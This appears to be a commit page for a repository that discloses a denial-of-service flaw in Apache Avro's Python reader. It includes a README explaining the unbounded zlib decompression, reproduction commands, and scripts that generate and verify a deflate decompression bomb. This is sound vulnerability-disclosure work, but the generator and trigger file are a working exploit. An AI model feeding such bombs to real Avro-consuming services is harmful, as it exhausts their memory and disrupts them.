AgentRen commited on
Commit
e0393b7
·
verified ·
1 Parent(s): 80cdb59

Upload 5 files

Browse files
.gitattributes CHANGED
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ avro-deflate-128m.avro filter=lfs diff=lfs merge=lfs -text
README.md ADDED
@@ -0,0 +1,71 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ library_name: avro
3
+ tags:
4
+ - security
5
+ - model-format-vulnerability
6
+ - avro
7
+ - denial-of-service
8
+ ---
9
+
10
+ # Apache Avro Python deflate decompression bomb PoC
11
+
12
+ This repository contains a minimal proof of concept for a resource-exhaustion issue in Apache Avro's official Python reader.
13
+
14
+ Affected:
15
+
16
+ - `avro==1.12.1` from PyPI
17
+ - Apache Avro `main` at commit `840dc8139f4b3d1bfa8e8c8f1ac3be949b440634`
18
+
19
+ Root cause:
20
+
21
+ - `avro.datafile.DataFileReader.__next__()` calls `_read_block_header()`.
22
+ - `_read_block_header()` calls `codec.decompress(self.raw_decoder)`.
23
+ - `avro.codecs.DeflateCodec.decompress()` reads the compressed Avro block and calls `zlib.decompress(data, -15)` without any maximum decompressed-size or expansion-ratio limit.
24
+
25
+ The included `avro-deflate-128m.avro` is a valid deflate-coded Avro object container file. It is 130,634 bytes on disk and expands to a 134,217,728-byte `bytes` field during normal `DataFileReader` iteration.
26
+
27
+ ## Reproduction
28
+
29
+ ```bash
30
+ python3 -m venv .venv
31
+ .venv/bin/pip install avro==1.12.1
32
+ .venv/bin/python verify_avro_deflate_bomb_poc.py \
33
+ avro-deflate-control.avro \
34
+ avro-deflate-128m.avro
35
+ ```
36
+
37
+ Expected result on the test host:
38
+
39
+ ```text
40
+ control file_size=181 -> loaded, payload_len=1024, maxrss_after_kb around 18,000
41
+ bomb file_size=130634 -> loaded, payload_len=134217728, maxrss_after_kb around 280,000
42
+ ```
43
+
44
+ With a 160 MiB address-space cap, the control loads while the bomb fails in the Avro block decompression path:
45
+
46
+ ```bash
47
+ .venv/bin/python verify_avro_deflate_bomb_poc.py --limit-mb 160 \
48
+ avro-deflate-control.avro \
49
+ avro-deflate-128m.avro
50
+ ```
51
+
52
+ Observed exception:
53
+
54
+ ```text
55
+ MemoryError: Unable to allocate output buffer.
56
+ File ".../avro/datafile.py", line 404, in __next__
57
+ File ".../avro/datafile.py", line 386, in _read_block_header
58
+ File ".../avro/codecs.py", line 126, in decompress
59
+ uncompressed = zlib.decompress(data, -15)
60
+ ```
61
+
62
+ ## Files
63
+
64
+ - `avro-deflate-128m.avro` - 130,634-byte trigger file, SHA256 `a050bf7715a45d46f0abe327b94557e7d5f209cbdb549292de9e3fe5104df8f0`
65
+ - `avro-deflate-control.avro` - 181-byte control file, SHA256 `fd1d3d5cc0722727329d536ee8ab20e4fc3da2629c8921ffde850e96056d7ae9`
66
+ - `make_avro_deflate_bomb_poc.py` - generator
67
+ - `verify_avro_deflate_bomb_poc.py` - verifier
68
+
69
+ ## Notes
70
+
71
+ Apache Avro Java recently added decompression-size limits for the same class of codec bomb in AVRO-4247. This PoC demonstrates that the official Python Avro reader still lacks an equivalent limit in the latest PyPI release and in current Apache Avro main.
avro-deflate-128m.avro ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:a050bf7715a45d46f0abe327b94557e7d5f209cbdb549292de9e3fe5104df8f0
3
+ size 130634
avro-deflate-control.avro ADDED
Binary file (181 Bytes). View file
 
make_avro_deflate_bomb_poc.py ADDED
@@ -0,0 +1,58 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ from __future__ import annotations
3
+
4
+ import argparse
5
+ import hashlib
6
+ from pathlib import Path
7
+
8
+ from avro.datafile import DataFileWriter
9
+ from avro.io import DatumWriter
10
+ from avro.schema import parse
11
+
12
+
13
+ SCHEMA = parse(
14
+ """
15
+ {
16
+ "type": "record",
17
+ "name": "PayloadRecord",
18
+ "fields": [
19
+ {"name": "payload", "type": "bytes"}
20
+ ]
21
+ }
22
+ """
23
+ )
24
+
25
+
26
+ def build(path: Path, payload_size: int) -> None:
27
+ path.parent.mkdir(parents=True, exist_ok=True)
28
+ payload = b"\x00" * payload_size
29
+ with path.open("wb") as fp:
30
+ writer = DataFileWriter(fp, DatumWriter(), SCHEMA, codec="deflate")
31
+ writer.append({"payload": payload})
32
+ writer.close()
33
+
34
+
35
+ def sha256(path: Path) -> str:
36
+ h = hashlib.sha256()
37
+ with path.open("rb") as fp:
38
+ for chunk in iter(lambda: fp.read(1024 * 1024), b""):
39
+ h.update(chunk)
40
+ return h.hexdigest()
41
+
42
+
43
+ def main() -> None:
44
+ parser = argparse.ArgumentParser()
45
+ parser.add_argument("--out", default="poc/avro-deflate-128m.avro")
46
+ parser.add_argument("--payload-size", type=int, default=128 * 1024 * 1024)
47
+ args = parser.parse_args()
48
+
49
+ out = Path(args.out)
50
+ build(out, args.payload_size)
51
+ print(f"artifact={out}")
52
+ print(f"payload_size={args.payload_size}")
53
+ print(f"file_size={out.stat().st_size}")
54
+ print(f"sha256={sha256(out)}")
55
+
56
+
57
+ if __name__ == "__main__":
58
+ main()
verify_avro_deflate_bomb_poc.py ADDED
@@ -0,0 +1,85 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ from __future__ import annotations
3
+
4
+ import argparse
5
+ import json
6
+ import resource
7
+ import subprocess
8
+ import sys
9
+ from pathlib import Path
10
+
11
+
12
+ def run_child(path: Path, limit_mb: int | None) -> dict[str, object]:
13
+ code = r"""
14
+ import json
15
+ import resource
16
+ import sys
17
+
18
+ if LIMIT_MB:
19
+ cap = int(LIMIT_MB) * 1024 * 1024
20
+ resource.setrlimit(resource.RLIMIT_AS, (cap, cap))
21
+
22
+ from avro.datafile import DataFileReader
23
+ from avro.io import DatumReader
24
+
25
+ try:
26
+ with open(PATH, "rb") as fp:
27
+ reader = DataFileReader(fp, DatumReader())
28
+ before = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
29
+ record = next(reader)
30
+ after = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
31
+ payload_len = len(record["payload"])
32
+ reader.close()
33
+ print(json.dumps({
34
+ "status": "loaded",
35
+ "payload_len": payload_len,
36
+ "maxrss_before_kb": before,
37
+ "maxrss_after_kb": after,
38
+ }))
39
+ except BaseException as exc:
40
+ print(json.dumps({
41
+ "status": "exception",
42
+ "type": type(exc).__name__,
43
+ "message": str(exc)[:240],
44
+ "maxrss_kb": resource.getrusage(resource.RUSAGE_SELF).ru_maxrss,
45
+ }))
46
+ raise
47
+ """
48
+ child_code = code.replace("PATH", repr(str(path))).replace("LIMIT_MB", "0" if limit_mb is None else str(limit_mb))
49
+ proc = subprocess.run(
50
+ [sys.executable, "-c", child_code],
51
+ stdout=subprocess.PIPE,
52
+ stderr=subprocess.PIPE,
53
+ text=True,
54
+ timeout=30,
55
+ )
56
+ parsed = None
57
+ if proc.stdout.strip():
58
+ try:
59
+ parsed = json.loads(proc.stdout.strip().splitlines()[-1])
60
+ except json.JSONDecodeError:
61
+ parsed = None
62
+ return {
63
+ "returncode": proc.returncode,
64
+ "stdout": proc.stdout,
65
+ "stderr_tail": proc.stderr[-1200:],
66
+ "parsed": parsed,
67
+ }
68
+
69
+
70
+ def main() -> None:
71
+ parser = argparse.ArgumentParser()
72
+ parser.add_argument("paths", nargs="+")
73
+ parser.add_argument("--limit-mb", type=int)
74
+ args = parser.parse_args()
75
+
76
+ for p in args.paths:
77
+ path = Path(p)
78
+ result = run_child(path, args.limit_mb)
79
+ print(f"== {path} ==")
80
+ print(f"file_size={path.stat().st_size}")
81
+ print(json.dumps(result, indent=2, sort_keys=True))
82
+
83
+
84
+ if __name__ == "__main__":
85
+ main()